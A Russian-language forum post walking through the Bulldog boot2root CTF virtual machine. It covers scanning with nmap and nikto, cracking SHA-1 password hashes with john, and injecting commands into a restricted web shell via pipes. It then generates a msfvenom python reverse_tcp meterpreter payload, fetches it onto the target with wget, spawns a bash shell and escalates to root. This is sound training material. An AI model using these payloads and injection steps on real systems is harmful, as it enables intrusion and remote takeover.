HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 31.05.2018, 00:48
Vander
Новичок
Регистрация: 03.11.2010
Сообщений: 5
С нами: 8170166

Репутация: 0
По умолчанию

Привет, Antichat! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)



Скачиваем Bulldog тут

Атакующая ОС: Kali Linux 2018.2

Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:



Код:


Код:
nmap –sV –A 192.168.0.110


Переходим на webBulldog:



Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:

Код:


Код:
nikto –h 192.168.0.110


Niktoнашел интересную директорию, зайдем осмотреться:



Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:



И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:



Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:

Код:


Код:
hash-identifier


Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:

Код:


Код:
john /root/123.txt (тут хэш пароля) –format=RAW-SHA1


Имеем в наличии учётные данные пользователя Ник:
  • nick
  • bulldog
Используем их для аутентификации на сервере:

Код:


Код:
http://192.168.0.110/admin


После успешной авторизации, можно перейти в Web Shell:

Код:


Код:
http://192.168.0.110/dev/shell/


Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.

Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.

Этих команд достаточно, да и одной вполне, чтобы сделать так…
  • | - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.
Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).

Полагаю, что будет дальше понятно.

Если мы выполним команду:

Код:


Код:
whoami


Результат не радужный, но если сделаем:

Код:


Код:
pwd | whoami


Теперь, все отрабатывает должным образом.

Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.

Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python(это обязательный момент, т.к. это Django)

Код:


Код:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py
Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.



Настраиваем handler:



Этап загрузки shellскрипта:

Код:


Код:
pwd | wget http://192.168.0.101:88/sh.py


Убеждаемся, что загрузка прошла успешно:

Код:


Код:
ls -a


Даем права скрипту на запуск:

Код:


Код:
pwd | chmod 777 sh.py
Запускаем скрипт:

Код:


Код:
python sh.py


Результат предсказуем:



Используем команду:

Код:


Код:
shell
Затем импортируем bashоболочку:

Код:


Код:
python -c 'import pty;pty.spawn("/bin/bash")'


Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:

Код:


Код:
ls –a
Обнаружив скрытую директорию, переходим в нее:

Код:


Код:
cd .hiddenadmindirectory
ls –a


Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.

strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.

Код:


Код:
strings customPermissionApp


Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.

Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:

Код:


Код:
cd /home/jango/bulldog
./customPermissionApp


Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:

Код:


Код:
cd
cat congrats.txt


На этом прохождение Bulldog VM можно считать завершенным.

Спасибо за внимание.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.